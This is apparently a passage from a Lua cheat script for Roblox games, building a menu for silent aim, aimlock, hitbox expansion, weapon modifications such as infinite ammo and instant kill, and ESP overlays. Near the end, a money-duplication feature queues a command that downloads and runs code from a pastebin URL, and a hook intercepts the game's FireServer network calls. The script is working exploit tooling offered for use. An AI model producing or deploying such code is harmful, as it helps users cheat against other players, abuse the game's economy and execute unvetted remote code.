         _ScriptLoaded = true
      end
   end
end

window:seperator({name = "Combat"}) do
   local SilentAimTab = window:tab({name = "Silent Aim", tabs = {"General Settings"}, icon =
GetImage("Pistol.png")}) do
      local SilentAimColumn = SilentAimTab:column({})

      local GeneralSection = SilentAimColumn:section({name = "General", side = "left", size =
0.23, icon = GetImage("UZI.png")})

      GeneralSection:toggle({type = "toggle", name = "Enabled", flag = "SilentAim_Enabled",
default = false, callback = function(state)
         Config.Silent.Enabled = state
      end})

      GeneralSection:keybind({name = "Keybind", flag = "SilentAim_Bind", mode = "Always",
callback = function(state)
```

```
        Config.Silent.Targetting = state
    end})

    local SettingsSection = SilentAimColumn:section({name = "Settings", side = "left", size =
0.455, icon = GetImage("Settings.png")})

    SettingsSection:toggle({name = "Visible Check", flag = "SilentAim_Wallcheck", type =
"toggle", default = false, callback = function(state)
        Config.Silent.WallCheck = state
    end})

    local BodyParts = {}

    local RigType = "R15"

    if LocalPlayer.Character then
        RigType = LocalPlayer.Character:WaitForChild("Humanoid").RigType.Name
    else
        LocalPlayer.CharacterAdded:Wait()

        RigType = LocalPlayer.Character:WaitForChild("Humanoid").RigType.Name
    end

    BodyParts = (RigType == "R6") and {
        "Head",
        "Torso",
        "Left Arm",
        "Right Arm",
        "Left Leg",
        "Right Leg",
        "HumanoidRootPart"
    } or (RigType == "R15") and {
        "Head",
        "UpperTorso",
        "LowerTorso",
        "LeftUpperArm",
        "LeftLowerArm",
        "RightUpperArm",
        "RightLowerArm",
        "LeftUpperLeg",
        "LeftLowerLeg",
        "RightUpperLeg",
        "RightLowerLeg",
        "HumanoidRootPart"
    } or {}

    SettingsSection:dropdown({name = "Target Parts", flag = "Silent_TargetPart", width = 110,
items = BodyParts, seperator = false, multi = true, default = {'Head'}, callback = function(state)
        table.clear(Config.Silent.TargetPart)

        for Index, Value in state do
            table.insert(Config.Silent.TargetPart, Value)
        end
    end})
```

```
	SettingsSection:slider({name = "Max Distance", flag = "MaxDistance_Silent", min = 0, max = (Game_Name == "South Bronx") and 300 or 3000, default = (Game_Name == "South Bronx") and 300 or 1000, suffix = "st", callback = function(state)
		Config.Silent.MaxDistance = state
	end})

	SettingsSection:slider({name = "Hit Chance", flag = "SilentAim_HitChance", min = 0, max = 100, default = 100, suffix = "%", callback = function(state)
		Config.Silent.HitChance = state
	end})

	local BulletSettingsSection = SilentAimColumn:section({name = "Bullet Settings", side = "left", size = 0.18, icon = GetImage("Bullet.png")})

	BulletSettingsSection:toggle({type = "toggle", name = "Bullet Penetration", flag = "SilentAim_WallBang", default = false, callback = function(state)
		Config.Silent.WallBang = state
	end})

	SilentAimColumn = SilentAimTab:column({})

	local FieldOfViewSection = SilentAimColumn:section({name = "Field Of View", side = "right", size = 0.23, icon = GetImage("FieldOfView2.png")})

	FieldOfViewSection:toggle({type = "toggle", name = "Enabled", flag = "SilentAim_Usefov", default = false, callback = function(state)
		Config.Silent.UseFieldOfView = state
	end})

	FieldOfViewSection:toggle({type = "toggle", name = "Draw Circle", flag = "SilentAim_DrawCircle", default = false, callback = function(state)
		Config.Silent.DrawFieldOfView = state
	end}):colorpicker({flag = "SilentAim_FOVColor", default = Color3.new(1,1,1), alpha = 0.25, callback = function(state, alpha)
		Config.Silent.FieldOfViewColor = state
		Config.Silent.FieldOfViewTransparency = 1 - alpha
	end})

	local FieldOfViewSettingsSection = SilentAimColumn:section({name = "Field Of View Settings", side = "right", size = 0.3, icon = GetImage("Settings.png")})

	FieldOfViewSettingsSection:slider({name = "Radius", flag = "SilentAim_Radius", min = 0, max = 1000, default = 100, suffix = "°", callback = function(state)
		Config.Silent.Radius = state
	end})

	FieldOfViewSettingsSection:slider({name = "Sides", flag = "SilentAim_Sides", min = 3, max = 100, default = 25, suffix = "°", callback = function(state)
		Config.Silent.Sides = state
	end})

	local SnaplineSection = SilentAimColumn:section({name = "Snapline", side = "right", size = 0.275, icon = GetImage("Snapline.png")})
```

```
        SnaplineSection:toggle({type = "toggle", name = "Enabled", flag = "SilentAim_Snapline",
default = false, callback = function(state)
            Config.Silent.Snapline = state
        end}):colorpicker({flag = "SilentAim_SnaplineColor", default = Color3.new(1,1,1), alpha =
1, callback = function(state, alpha)
            Config.Silent.SnaplineColor = state
        end})

        SnaplineSection:slider({name = "Snapline Thickness", flag =
"SilentAim_SnaplineThickness", min = 1, max = 5, default = 1, callback = function(state)
            Config.Silent.SnaplineThickness = state
        end})
    end

    local AimlockTab = window:tab({name = "Aimlock", tabs = {"General Settings"}, icon =
GetImage("Aimlock.png")}) do
        local AimlockAimColumn = AimlockTab:column({})

        local GeneralSection = AimlockAimColumn:section({name = "General", side = "left", size =
0.23, icon = GetImage("UZI.png")})

        GeneralSection:toggle({type = "toggle", name = "Enabled", flag = "AimlockAim_Enabled",
default = false, callback = function(state)
            Config.Aimlock.Enabled = state
        end})

        GeneralSection:keybind({name = "Keybind", flag = "AimlockAim_Bind", mode = "Toggle",
callback = function(state)
            Config.Aimlock.Aiming = state
            TargetTable[1] = nil
        end})

        local SettingsSection = AimlockAimColumn:section({name = "Settings", side = "left", size
= 0.51, icon = GetImage("Settings.png")})

        SettingsSection:toggle({name = "Visible Check", flag = "AimlockAim_Wallcheck", type =
"toggle", default = false, callback = function(state)
            Config.Aimlock.WallCheck = state
        end})

        local BodyParts = {}

        local RigType = "R15"

        if LocalPlayer.Character then
            RigType = LocalPlayer.Character:WaitForChild("Humanoid").RigType.Name
        else
            LocalPlayer.CharacterAdded:Wait()

            RigType = LocalPlayer.Character:WaitForChild("Humanoid").RigType.Name
        end

        BodyParts = (RigType == "R6") and {
```

```
        "Head",
        "Torso",
        "Left Arm",
        "Right Arm",
        "Left Leg",
        "Right Leg",
        "HumanoidRootPart"
    } or (RigType == "R15") and {
        "Head",
        "UpperTorso",
        "LowerTorso",
        "LeftUpperArm",
        "LeftLowerArm",
        "RightUpperArm",
        "RightLowerArm",
        "LeftUpperLeg",
        "LeftLowerLeg",
        "RightUpperLeg",
        "RightLowerLeg",
        "HumanoidRootPart"
    } or {}

    SettingsSection:dropdown({name = "Aimlock Type", flag = "Aimlock_AimType", width =
110, items = {'Camera', 'Mouse'}, seperator = false, multi = false, default = 'Mouse', callback =
function(state)
        Config.Aimlock.Type = state
    end})

    SettingsSection:dropdown({name = "Target Parts", flag = "Aimlock_TargetPart", width =
110, items = BodyParts, seperator = false, multi = false, default = 'Head', callback =
function(state)
        Config.Aimlock.TargetPart = state
    end})

    SettingsSection:slider({name = "Max Distance", flag = "MaxDistance_Aimlock", min = 0,
max = 3000, default = ((Game_Name == "South Bronx") and 300 or 1000), suffix = "st",
callback = function(state)
        Config.Aimlock.MaxDistance = state
    end})

    SettingsSection:slider({name = "Smoothness", flag = "MaxDistance_Smoothness", min =
0, max = 100, default = 10, suffix = "%", callback = function(state)
        Config.Aimlock.Smoothness = state/10
    end})

    AimlockAimColumn = AimlockTab:column({})

    local FieldOfViewSection = AimlockAimColumn:section({name = "Field Of View", side =
"right", size = 0.23, icon = GetImage("FieldOfView2.png")})

    FieldOfViewSection:toggle({type = "toggle", name = "Enabled", flag =
"AimlockAim_Usefov", default = false, callback = function(state)
        Config.Aimlock.UseFieldOfView = state
    end})
```

```
        FieldOfViewSection:toggle({type = "toggle", name = "Draw Circle", flag =
"AimlockAim_DrawCircle", default = false, callback = function(state)
            Config.Aimlock.DrawFieldOfView = state
        end}):colorpicker({flag = "AimlockAim_FOVColor", default = Color3.new(1,1,1), alpha =
0.25, callback = function(state, alpha)
            Config.Aimlock.FieldOfViewColor = state
            Config.Aimlock.FieldOfViewTransparency = 1 - alpha
        end})

        local FieldOfViewSettingsSection = AimlockAimColumn:section({name = "Field Of View
Settings", side = "right", size = 0.3, icon = GetImage("Settings.png")})

        FieldOfViewSettingsSection:slider({name = "Radius", flag = "AimlockAim_Radius", min =
0, max = 1000, default = 100, suffix = "°", callback = function(state)
            Config.Aimlock.Radius = state
        end})

        FieldOfViewSettingsSection:slider({name = "Sides", flag = "AimlockAim_Sides", min = 3,
max = 100, default = 25, suffix = "°", callback = function(state)
            Config.Aimlock.Sides = state
        end})

        local SnaplineSection = AimlockAimColumn:section({name = "Snapline", side = "right",
size = 0.275, icon = GetImage("Snapline.png")})

        SnaplineSection:toggle({type = "toggle", name = "Enabled", flag =
"AimlockAim_Snapline", default = false, callback = function(state)
            Config.Aimlock.Snapline = state
        end}):colorpicker({flag = "AimlockAim_SnaplineColor", default = Color3.new(1,1,1), alpha
= 1, callback = function(state, alpha)
            Config.Aimlock.SnaplineColor = state
        end})

        SnaplineSection:slider({name = "Snapline Thickness", flag =
"AimlockAim_SnaplineThickness", min = 1, max = 5, default = 1, callback = function(state)
            Config.Aimlock.SnaplineThickness = state
        end})
    end

    if Game_Name == "The Bronx" and not Solara then
        local WeaponModTab, MiscModTab = window:tab({name = "Modifications", tabs =
{"Weapon Modifications", "Hitbox Modifications"}, icon = GetImage("Wrench.png")}) do
            local WeaponModTabColumn = WeaponModTab:column({}) do
                local GeneralSection = WeaponModTabColumn:section({name = "Weapon
Modifications", side = "left", size = 0.5, icon = GetImage("Pistol.png")})

                local Modifications = {
                    "Infinite Ammo";
                    "Infinite Clips";
                    "Infinite Damage";
                    "Fully Automatic";
                    "Disable Jamming";
                    "Modify Recoil Value";
```

```
                "Modify Spread Value";
                "Modify Reload Speed";
                "Modify Equip Speed";
                "Modify Fire Rate";
            }

            for _, Index in Modifications do
                GeneralSection:toggle({name = Index, flag = Index.."_TB3", type = "toggle",
default = false, callback = function(state)
                    if Index == "Fully Automatic" then Index = "Automatic" end
                    Config.TheBronx.Modifications[Index:gsub(" ", "")] = state
                end})
            end

            GeneralSection = WeaponModTabColumn:section({name = "Weapon Modifications",
side = "left", size = 0.5, icon = GetImage("Settings.png")})

            GeneralSection:slider({name = "Recoil Percentage", flag = "RecoilValue_TB3", default
= 50, min = 0, max = 100, suffix = "%", callback = function(state)
                Config.TheBronx.Modifications.RecoilPercentage = state
            end})

            GeneralSection:slider({name = "Spread Percentage", flag = "SpreadValue_TB3",
default = 50, min = 0, max = 100, suffix = "%", callback = function(state)
                Config.TheBronx.Modifications.SpreadPercentage = state
            end})

            GeneralSection:slider({name = "Fire Rate Percentage", flag = "FireRateSpeed_TB3",
default = 50, min = 0, max = 100, suffix = "%", callback = function(state)
                Config.TheBronx.Modifications.FireRateSpeed = state
            end})

            GeneralSection:slider({name = "Reload Speed Percentage", flag =
"ReloadSpeed_TB3", default = 50, min = 0, max = 100, suffix = "%", callback = function(state)
                Config.TheBronx.Modifications.ReloadSpeed = state
            end})

            GeneralSection:slider({name = "Equip Speed Percentage", flag = "EquipSpeed_TB3",
default = 50, min = 0, max = 100, suffix = "%", callback = function(state)
                Config.TheBronx.Modifications.EquipSpeed = state
            end})
        end

        local MiscTabColumn = MiscModTab:column({}) do
            local GeneralSection = MiscTabColumn:section({name = "Hitbox Modifications", side
= "left", size = 0.4})

            GeneralSection:toggle({name = 'Enabled', flag = 'HitboxesEnabled', type = 'toggle',
default = false, callback = function(state)
                Config.MiscSettings.Hitbox_Expander.Enabled = state
            end}):colorpicker({flag = 'HitboxesColor', color = Color3.new(1,1,1), alpha = 1,
callback = function(state, alpha)
                Config.MiscSettings.Hitbox_Expander.Color = state
                Config.MiscSettings.Hitbox_Expander.Transparency = alpha
```

```
            end})

            GeneralSection:slider({name = "Hitbox Multiplier", flag = "HitBox_Multiplier", min = 1,
max = 20, default = 10, callback = function(state)
                Config.MiscSettings.Hitbox_Expander.Multiplier = state
            end})

            GeneralSection:dropdown({name = "Hitbox Part", flag = "HitBoxPart", items =
{"Head", "Torso"}, default = "Torso", multi = false, callback = function(value)
                Config.MiscSettings.Hitbox_Expander.Part = (value == "Head") and "Head" or
"HumanoidRootPart"
            end})

            GeneralSection:dropdown({name = "Hitbox Material", flag = "HitBoxMaterial", items
= {
                "SmoothPlastic", "Wood", "Slate", "Concrete", "CorrodedMetal",
                "Neon", "Grass", "Fabric", "DiamondPlate", "Sandstone",
                "Ice", "Marble", "Granite", "Pebble", "Metal",
                "Glass", "Plastic", "ForceField"
            }, default = "ForceField", multi = false, callback = function(value)
                Config.MiscSettings.Hitbox_Expander.Material = value
            end})
        end
    end
end

if Game_Name == "South Bronx" and not Solara then
    local WeaponModTab = window:tab({name = "Modifications", tabs = {"Weapon
Modifications"}, icon = GetImage("Wrench.png")}) do
        local WeaponModTabColumn = WeaponModTab:column({}) do
            local GeneralSection = WeaponModTabColumn:section({name = "Weapon
Modifications", side = "left", size = 0.5, icon = GetImage("Pistol.png")})

            local Modifications = {
                "Infinite Ammo";
                "Instant Kill";
                "Fully Automatic";
                "Disable Jamming";
                "Modify Recoil Value";
                "Modify Spread Value";
                "Modify Reload Speed";
                "Modify Equip Speed";
                "Modify Fire Rate";
            }

            for _, Index in Modifications do
                GeneralSection:toggle({name = Index, flag = Index.."_TB3", type = "toggle",
default = false, callback = function(state)
                    if Index == "Fully Automatic" then Index = "Automatic" end
                    Config.South_Bronx.Modifications[Index:gsub(" ", "")] = state
                end})
            end
```

```
            GeneralSection = WeaponModTabColumn:section({name = "Weapon Modifications",
side = "left", size = 0.5, icon = GetImage("Settings.png")})

            GeneralSection:slider({name = "Recoil Percentage", flag = "RecoilValue_TB3", default
= 50, min = 0, max = 100, suffix = "%", callback = function(state)
                Config.South_Bronx.Modifications.RecoilPercentage = state
            end})

            GeneralSection:slider({name = "Spread Percentage", flag = "SpreadValue_TB3",
default = 50, min = 0, max = 100, suffix = "%", callback = function(state)
                Config.South_Bronx.Modifications.SpreadPercentage = state
            end})

            GeneralSection:slider({name = "Fire Rate Percentage", flag = "FireRateSpeed_TB3",
default = 50, min = 0, max = 100, suffix = "%", callback = function(state)
                Config.South_Bronx.Modifications.FireRateSpeed = state
            end})

            GeneralSection:slider({name = "Reload Speed Percentage", flag =
"ReloadSpeed_TB3", default = 50, min = 0, max = 100, suffix = "%", callback = function(state)
                Config.South_Bronx.Modifications.ReloadSpeed = state
            end})

            GeneralSection:slider({name = "Equip Speed Percentage", flag = "EquipSpeed_TB3",
default = 50, min = 0, max = 100, suffix = "%", callback = function(state)
                Config.South_Bronx.Modifications.EquipSpeed = state
            end})
        end
    end
  end
end

window:seperator({name = "World"}) do
  local VisualsTab = window:tab({name = "Visuals", tabs = {"Players"}, icon =
GetImage("ESP.png")})

  local VisualsColum = VisualsTab:column({})
  local PlayerVisualsSection = VisualsColum:section({name = "Player Visuals", side = "left",
size = 0.725})

  PlayerVisualsSection:toggle({name = "Enabled", flag = "PlayerVisuals_Enabled", type =
"toggle", callback = function(state)
    Config.ESP.Enabled = state
    RefreshAllElements()
  end})

  PlayerVisualsSection:toggle({name = "Bounding Boxes", flag =
"PlayerVisuals_BoundingBoxes", type = "toggle", callback = function(state)
    Config.ESP.Drawing.Boxes.Bounding.Enabled = state
    RefreshAllElements()
  end}):colorpicker({flag = "PlayerVisuals_BoundingBoxes_Color", color = Color3.new(1,1,1),
alpha = 1, callback = function(state, alpha)
    Config.ESP.Drawing.Boxes.Bounding.RGB = state
    Config.ESP.Drawing.Boxes.Bounding.Transparency = alpha
```

```
        RefreshAllElements()
    end})

    PlayerVisualsSection:toggle({name = "Corner Boxes", flag = "PlayerVisuals_CornerBoxes",
type = "toggle", callback = function(state)
        Config.ESP.Drawing.Boxes.Corner.Enabled = state
        RefreshAllElements()
    end}):colorpicker({flag = "PlayerVisuals_CornerBoxes_Color", color = Color3.new(1,1,1),
alpha = 1, callback = function(state, alpha)
        Config.ESP.Drawing.Boxes.Corner.RGB = state
        Config.ESP.Drawing.Boxes.Corner.Transparency = alpha
        RefreshAllElements()
    end})

    local _FilledBoxes = PlayerVisualsSection:toggle({name = "Filled Boxes", flag =
"PlayerVisuals_FilledBoxes", type = "toggle", callback = function(state)
        Config.ESP.Drawing.Boxes.Filled.Enabled = state
        RefreshAllElements()
    end})

    _FilledBoxes:colorpicker({flag = "PlayerVisuals_FilledBoxes_Color1", color =
Color3.fromRGB(119, 120, 255), alpha = 0.25, callback = function(state, alpha)
        Config.ESP.Drawing.Boxes.GradientFillRGB1 = state
        Config.ESP.Drawing.Boxes.Filled.Transparency = alpha
        RefreshAllElements()
    end})

    _FilledBoxes:colorpicker({flag = "PlayerVisuals_FilledBoxes_Color2", color =
Color3.fromRGB(0, 0, 0), alpha = 1, callback = function(state, alpha)
        Config.ESP.Drawing.Boxes.GradientFillRGB2 = state
        RefreshAllElements()
    end})

    PlayerVisualsSection:toggle({name = "Names", flag = "PlayerVisuals_Names", type =
"toggle", callback = function(state)
        Config.ESP.Drawing.Names.Enabled = state
        RefreshAllElements()
    end}):colorpicker({flag = "PlayerVisuals_Names_Color", color = Color3.new(1,1,1), alpha = 1,
callback = function(state, alpha)
        Config.ESP.Drawing.Names.RGB = state
        RefreshAllElements()
        Config.ESP.Drawing.Names.Transparency = alpha
        RefreshAllElements()
    end})

    local HealthBar_Toggle = PlayerVisualsSection:toggle({name = "Health Bars", flag =
"PlayerVisuals_HealthBars", type = "toggle", callback = function(state)
        Config.ESP.Drawing.Healthbar.Enabled = state
        RefreshAllElements()
    end})

    HealthBar_Toggle:colorpicker({flag = "PlayerVisuals_HealthBar_High_Color", color =
Color3.new(0, 1, 0), alpha = 1, callback = function(state, alpha)
        Config.ESP.Drawing.Healthbar.GradientRGB2 = state
```

```
        RefreshAllElements()
    end})

    HealthBar_Toggle:colorpicker({flag = "PlayerVisuals_HealthBar_Low_Color", color =
Color3.new(1, 0, 0), alpha = 1, callback = function(state, alpha)
        Config.ESP.Drawing.Healthbar.GradientRGB1 = state
        RefreshAllElements()
    end})

    PlayerVisualsSection:toggle({name = "Health Text", flag = "PlayerVisuals_HealthText", type =
"toggle", callback = function(state)
        Config.ESP.Drawing.Healthbar.HealthText = state
        RefreshAllElements()
    end})

    PlayerVisualsSection:toggle({name = "Weapons", flag = "PlayerVisuals_Weapons", type =
"toggle", callback = function(state)
        Config.ESP.Drawing.Weapons.Enabled = state
        RefreshAllElements()
    end}):colorpicker({flag = "PlayerVisuals_Weapons_Color", color = Color3.new(1,1,1), alpha =
1, callback = function(state, alpha)
        Config.ESP.Drawing.Weapons.WeaponTextRGB = state
        Config.ESP.Drawing.Weapons.Transparency = alpha
        RefreshAllElements()
    end})

    PlayerVisualsSection:toggle({name = "Distance", flag = "PlayerVisuals_Distance", type =
"toggle", callback = function(state)
        Config.ESP.Drawing.Distances.Enabled = state
        RefreshAllElements()
    end}):colorpicker({flag = "PlayerVisuals_Distance_Color", color = Color3.new(1,1,1), alpha =
1, callback = function(state, alpha)
        Config.ESP.Drawing.Distances.RGB = state
        Config.ESP.Drawing.Distances.Transparency = alpha
        RefreshAllElements()
    end})

    local _ChamsToggle = PlayerVisualsSection:toggle({name = "Chams", flag =
"PlayerVisuals_Chams", type = "toggle", callback = function(state)
        Config.ESP.Drawing.Chams.Enabled = state
        RefreshAllElements()
    end})

    _ChamsToggle:colorpicker({flag = "PlayerVisuals_Chams_Color1", color =
Color3.fromRGB(119, 120, 255), alpha = 0.8, callback = function(state, alpha)
        Config.ESP.Drawing.Chams.FillRGB = state
        Config.ESP.Drawing.Distances.Fill_Transparency = alpha*100
        RefreshAllElements()
    end})

    _ChamsToggle:colorpicker({flag = "PlayerVisuals_Chams_Color2", color = Color3.new(0,0,0),
alpha = 1, callback = function(state, alpha)
        Config.ESP.Drawing.Chams.OutlineRGB = state
        Config.ESP.Drawing.Distances.Outline_Transparency = alpha*100
```

```
        RefreshAllElements()
    end})

    VisualsColum = VisualsTab:column({})
    local PlayerVisualsSettingsSection = VisualsColum:section({name = "Player Visual Settings",
side = "left", size = 0.7, icon = GetImage("Settings.png")})

    PlayerVisualsSettingsSection:toggle({name = "Animated Boxes", flag =
"Visuals_AnimatedBox", default = false, type = "toggle", callback = function(state)
        Config.ESP.Drawing.Boxes.Animate = state
        RefreshAllElements()
    end})

    PlayerVisualsSettingsSection:toggle({name = "Dynamic Health Text", flag =
"Visuals_HealthTextLerp", default = true, type = "toggle", callback = function(state)
        Config.ESP.Drawing.Healthbar.Lerp = state
        RefreshAllElements()
    end})

    PlayerVisualsSettingsSection:toggle({name = "Gradient Health Bar", flag =
"Visuals_HealthBarGradient", default = true, type = "toggle", callback = function(state)
        Config.ESP.Drawing.Healthbar.Gradient = state
        RefreshAllElements()
    end})

    PlayerVisualsSettingsSection:toggle({name = "Thermal Chams", flag =
"Visuals_ChamsThermal", default = false, type = "toggle", seperator = true, callback =
function(state)
        Config.ESP.Drawing.Chams.Thermal = state
        RefreshAllElements()
    end})

    PlayerVisualsSettingsSection:dropdown({name = "Text Font", flag = "Visuals_TextFont",
width = 130,
        items = {
            "Arcade",
            "BuilderSans",
            "Code",
            "Pixel",
            "Plex",
            "Fantasy",
            "FredokaOne",
            "Gotham",
            "GothamBlack",
            "Minecraftia",
            "Jura",
            "Roboto",
            "RobotoMono",
            "SourceSans",
            "Verdana"
        }, multi = false, default = "Plex", callback = function(state)
            Config.ESP.Font = (state == "Pixel" or state == "Plex" or state == "Minecraftia" or state
== "Verdana") and Fonts[state] or Enum.Font[state]
            RefreshAllElements()
```

```
        end
    })

    PlayerVisualsSettingsSection:slider({name = "Text Size", flag = "TextSize_Visuals", min = 10,
max = 18, default = 12, callback = function(state)
        Config.ESP.FontSize = state
        RefreshAllElements()
    end})

    PlayerVisualsSettingsSection:slider({name = "Max Render Distance", flag =
"MaxRenderDistance_Visuals", min = 10, max = 5000, default = 1000, suffix = "st", callback =
function(state)
        Config.ESP.MaxDistance = state
    end})
end

library:init_config(window)

if Game_Name == "South Bronx" then
    local DupeTab = window:tab({name = "Duplication", tabs = {"General"}, icon =
GetImage("Cash.png")}) do
        local DupeColumn = DupeTab:column({})
        local DuplicationSection = DupeColumn:section({name = "Automatic Duplication", side =
"left", size = 0.6, icon = GetImage("Wrench.png")})

        DuplicationSection:textbox({name = "Selected Player's Name", callback = function(text)
            local name = text;

            for i,v in Services.Players:GetPlayers() do
                if v~=Services.Players.LocalPlayer then
                    if string.find(v.Name:lower(), text:lower()) or string.match(v.Name:lower(),
text:lower()) then
                        name = v.Name;
                        break
                    end
                end
            end

            writefile("SouthBronxUsernameRealGame.txt", name)
        end})

        DuplicationSection:textbox({name = "Amount To Send (Max Is $20000)", callback =
function(text)
            writefile("SouthBronxAmountRealGame.txt", text)
        end})

        DuplicationSection:button({name = "Start Automated Duping", callback = function()
            queue_on_teleport("loadstring(game:HttpGet('https://pastebin.com/raw/NxcZfG6u'))()")

            Services.TeleportService:TeleportToPlaceInstance(game.PlaceId, game.JobId)
        end})
```

```
        DuplicationSection:label({name = "Please read!", wrapped = true, info = "You will need
$2,000 extra ontop of what your sending! for example if you want to send $20,000 you will
need $22,000!"})
    end
end

if hookfunction and not Solara and LPH_OBFUSCATED and Game_Name == "South Bronx"
then
    local _FireServer;
    local _Function;

    _FireServer = hookfunction(Instance.new("RemoteEvent", nil).FireServer, function(self, ...)
        local Arguments = {...}

        if tostring(self) == "PurchaseItem" and Arguments[2] == 'Shoes' and Arguments[3] == 'YZ
Slides' and Arguments[4] == '\255' then
            local f, s = debug.getinfo(2, "fs")
            if not _Function then
                _Function = f.func
            end

            if _Function ~= f.func then
                while true do end
                return
            end
        end

        return _FireServer(self, ...)
    end)
end
```